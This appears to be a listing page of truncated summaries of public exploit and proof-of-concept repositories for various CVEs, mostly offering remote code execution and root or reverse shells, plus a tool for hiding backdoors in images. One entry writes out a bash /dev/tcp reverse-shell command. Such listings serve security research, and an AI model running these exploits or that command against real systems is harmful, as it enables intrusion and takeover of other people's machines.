CVE-2017-12149

CVE-2017-12149 Many thanks to Master yunxu1 for the source code Description: Removed the graphical interface Fixed command execution failure caused by system identification errors Changed to an interactive shell Usage Enter the URL and press Enter; it will automatically execute whoami for both...

routeros-CVE-2018-14847-bytheway

By the Way By the Way is an exploit that enables a root shell on Mikrotik devices running RouterOS versions: Longterm: 6.30.1 - 6.40.7 Stable: 6.29 - 6.42.0 Beta: 6.29rc1 - 6.43rc3 The exploit leverages the path traversal vulnerability CVE-2018-14847 to extract the admin password and create an...

oracleShell

oracleShell Oracle Database Command Execution Test Environment - DBA Privileges: SELECT FROM v$version Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production PL/SQL Release 11.2.0.1.0 - Production "CORE 11.2.0.1.0 Production" TNS for 32-bit Windows: Version 11.2.0.1.0 - Production...

CVE-2024-51567

CVE-2024-51567 Exploit Script CVE-2024-51567 is a Python proof-of-concept PoC exploit script for CVE-2024-51567 , a critical command injection vulnerability affecting CyberPanel v2.3.6. This vulnerability, found in the upgrademysqlstatus endpoint, enables remote command execution RCE by bypassing...

CVE-2024-23746

CVE-2024-23746 Miro Desktop 0.8.18 on macOS allows Electron code injection. PoC signature and version: tool used to explore the vulnerability: https://github.com/r3ggi/electroniz3r verify if is vulnerable: inject a Blind Shell: References...

CVE-2026-34197

CVE-2026-34197 ActiveMQ Classic Lab This repository contains a local lab for studying CVE-2026-34197 in Apache ActiveMQ Classic and for comparing a vulnerable instance against a patched build. The repository is organized to support two goals: Reproduce the issue in a tightly controlled, isolated...

nec_aterm_tools

necatermtools This repo contains two tools developed to gain shell on NEC Aterm routers: 1. nec-aterm-firmware-config-extractor: extracts the HWRANDOMKEY from a firmware image. This key is needed to gereate a valid passord for logging in. 2. rakuraku-nec-shell: extracts the HWRANDOMKEY from a QR...

Corsair---DLL-Planting-CVE-2023-38822

Corsair---DLL-Planting-CVE-2023-38822 DLL Planting in the Corsair iCUE v.5.3.102 CVE-2023-38822 Discoverer: Idan Malihi Description An issue in Corsair iCUE v.5.3.102 allows a local attacker to execute arbitrary code via the MPDC.dll, CRYPTSP.dll, dcomp.dll, profapi.dll, and MSASN1.dll components...

CVE-2020-7247

CVE-2020-7247 This vulnerability exists in OpenBSD’s mail server OpenSMTPD’s “smtpmailaddr” function, and affects OpenBSD version 6.6. This allows an attacker to execute arbitrary shell commands like “sleep 66” as root user How to use? python3 getShell.py If you need a reverse shell then run it...

CVE-2022-0944

CVE-2022-0944 A proof of concept exploit for SQLPad RCE CVE-2022-0944 Usage usage: main.py -h url lhost lport username password positional arguments: url URL to SQLPad lhost Listener host address for reverse shell lport Listener port for reverse shell username login username optional password log...

CVE-2022-41343

CVE-2022-41343 🐍 Python Exploit for CVE-2022-41343 Staged Reverse Shell for dompdf 2.0.1 Based on: Positive Sec's write-up and PoC Example cve-2022-41343 10.10.16.3 44444 Usage usage: cve-2022-41343 -h -l SERVERPORT -s SHELL -n FONTNAME ip port positional arguments: ip Shell Callback IP...

EXP_CVE-2018-19518

CVE-2018-19518 Disclaimer This program should only be used for authorized security testing and research. Please use it in compliance with network security laws. The author is not responsible for any illegal attacks or other unlawful actions resulting from the use of this tool. Usage python...

ExploitTensorflowCVE-2021-37678

CVE-2021-37678 Exploit To exploit the vulnerability, it is necessary to start a Docker container with an environment prepared to run Tensorflow with version 2.2.3 which still has the vulnerability. It consists of: An AMD 64-bit architecture, CPU or GPU that can execute AVX instructions Python...

pixload

pixload -- Image Payload Creating tools DESCRIPTION Set of tools for hiding backdoors creating/injecting payload into images. The following image types are currently supported: BMP, GIF, JPG, PNG, WebP. about Useful references for better understanding of pixload and its use-cases: Bypassing CSP...

cve-2025-57819-exploit

CVE-2025-57819 Exploit Metadata Severity: Critical 9.8 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Type: Unauthenticated SQL Injection → Remote Code Execution Affected Software: FreePBX endpoint module...

CVE-2021-25646

usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd Reverse shell as follows: Write reverse shell script python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" Grant execution permission to the shell script python3 CVE-2021-25646.py -u...

htb-wifinetictwo-exploit

CVE-2021-31630 Exploit PoC This Python script is a Proof of Concept PoC exploit for CVE-2021-31630, targeting a vulnerability in OpenPLC running on the WifineticTwo box at HackTheBox. It is designed for educational purposes only, aiming to demonstrate the exploitation process in a controlled...

CVE-2017-16997-poc

Usage Run ./CVE-2017-16997.sh . If run as non-root user, make sure you can elevate to root via sudo. Details 1. https://nvd.nist.gov/vuln/detail/CVE-2017-16997...

CVE-2019-15107

CVE-2019-15107 Webmin 1.890 Unauthenticated Remote Code Execution This script is designed to exploit unauthenticated command execution vulnerability in Webmin 1.890. It allows you to execute arbitrary commands on a target Webmin server or to obtain a reverse shell. Usage The exploit takes 5...

CVE-2022-22965

CVE-2022-22965-POC CVE-2022-22965 spring-core batch detection script Disclaimer: This script is for learning purposes only. Prohibited for illegal use. If there is any malicious destruction or illegal use, it has nothing to do with me!!! Usage: python3 CVE-2022-22965-POC.py url.txt After successf...